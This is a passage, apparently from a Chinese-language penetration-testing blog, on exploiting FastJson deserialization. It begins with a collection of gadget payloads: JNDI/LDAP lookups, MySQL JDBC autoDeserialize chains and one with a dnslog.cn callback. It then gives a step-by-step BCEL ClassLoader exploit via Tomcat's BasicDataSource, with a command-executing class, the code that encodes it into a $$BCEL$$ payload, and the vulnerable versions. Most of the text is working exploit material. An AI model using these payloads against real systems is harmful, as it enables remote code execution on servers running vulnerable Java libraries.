"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}
HikariConfig
{
"@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}
SessionBeanProvider
{
"@type": "org.apache.commons.proxy.provider.remoting.SessionBeanProvider",
"jndiName": "ldap://127.0.0.1:23457/Command8",
"Object": "su18"
}
JMSContentInterceptor
{
"@type": "org.apache.cocoon.components.slide.impl.JMSContentInterceptor",
"parameters": {
"@type": "java.util.Hashtable",
"java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory",
"topic-factory": "ldap://127.0.0.1:23457/Command8"
},
"namespace": ""
}
ContextClassLoaderSwitcher
{
"@type": "org.jboss.util.loading.ContextClassLoaderSwitcher",
"contextClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"a": {
"@type": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$...$A$A"
}
}
OracleManagedConnectionFactory
{
"@type": "oracle.jdbc.connector.OracleManagedConnectionFactory",
"xaDataSourceName": "ldap://127.0.0.1:23457/Command8"
}
JNDIConfiguration
{
"@type": "org.apache.commons.configuration.JNDIConfiguration",
"prefix": "ldap://127.0.0.1:23457/Command8"
}
JDBC4Connection
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "172.20.64.40",
"portToConnectTo": 3306,
"url": "jdbc:mysql://172.20.64.40:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"databaseToConnectTo": "test",
"info": {
"@type": "java.util.Properties",
"PORT": "3306",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"user": "yso_URLDNS_http://ahfladhjfd.6fehoy.dnslog.cn",
"PORT.1": "3306",
"HOST.1": "172.20.64.40",
"NUM_HOSTS": "1",
"HOST": "172.20.64.40",
"DBNAME": "test"
}
}
LoadBalancedMySQLConnection
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy": {
"connectionString": {
"url": "jdbc:mysql://localhost:3306/foo?allowLoadLocalInfile=true"
}
}
}
ReplicationMySQLConnection
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [{
"host": "mysql.host"
}],
"slaves": [],
"properties": {
"host": "mysql.host",
"user": "user",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true"
}
}
}
}
FastJson在內網中的測試
參考:
https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html#0x01-bcel
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
https://www.cnblogs.com/nice0e3/p/14949148.html
POC為
{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}
觸發點在 org.apache.tomcat.dbcp.dbcp2.BasicDataSource
的 getConnection
方法中,調用了 createDataSource
方法,跟進去看看
調用 createConnectionFactory
若 driverClassLoader
不為空的話,就按照這個 ClassLoader(也就是自定義ClassLoader),在P神的文章中也提到了這一點
到這邊我們的 classname
和 classloader
可控,那么我們怎么達到命令執行呢
這里面就要說一神器的ClassLoader com.sun.org.apache.bcel.internal.util.ClassLoader
可以看到直接從 classname 中提取 Class 的 bytecode,如果 classname 中包含 $$BCEL$$
,這個 ClassLoader 則會將 $$BCEL$$
后面的字符串按照BCEL編碼進行解碼,作為Class的字節碼,並調用 defineClass() 獲取 Class 對象
編寫Exp
首先寫一個類在其 static
代碼區域里面寫上我們的惡意代碼
import java.io.IOException;
public class Test {
static {
try{
Runtime.getRuntime().exec("open /Applications/Calculator.app");
}
catch (IOException e){
e.printStackTrace();
}
}
}
在對其 Class
進行編碼
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
public class Test1 {
public static void main(String[] args) throws Exception{
JavaClass cls = Repository.lookupClass(Test.class);
String code = Utility.encode(cls.getBytes(), true);//轉換為字節碼並編碼為bcel字節碼
String poc = "{\n" +
" {\n" +
" \"aaa\": {\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \"$$BCEL$$"+ code+ "\"\n" +
" }\n" +
" }: \"bbb\"\n" +
"}";
System.out.println(poc);
}
}
Pom配置為
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
在低版本的 FastJson
中測試一下
高版本是不行的,因為FastJson在高版本有黑名單,白名單的限制
其他
BasicDataSource類在舊版本的 tomcat-dbcp 包中(6.0.53、7.0.81等版本),對應的路徑是 org.apache.tomcat.dbcp.dbcp.BasicDataSource
POC為
{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}
同樣的跟 JNDI
一樣,再高版本的Jdk中,也是不可用的
參考: https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html#0x01-bcel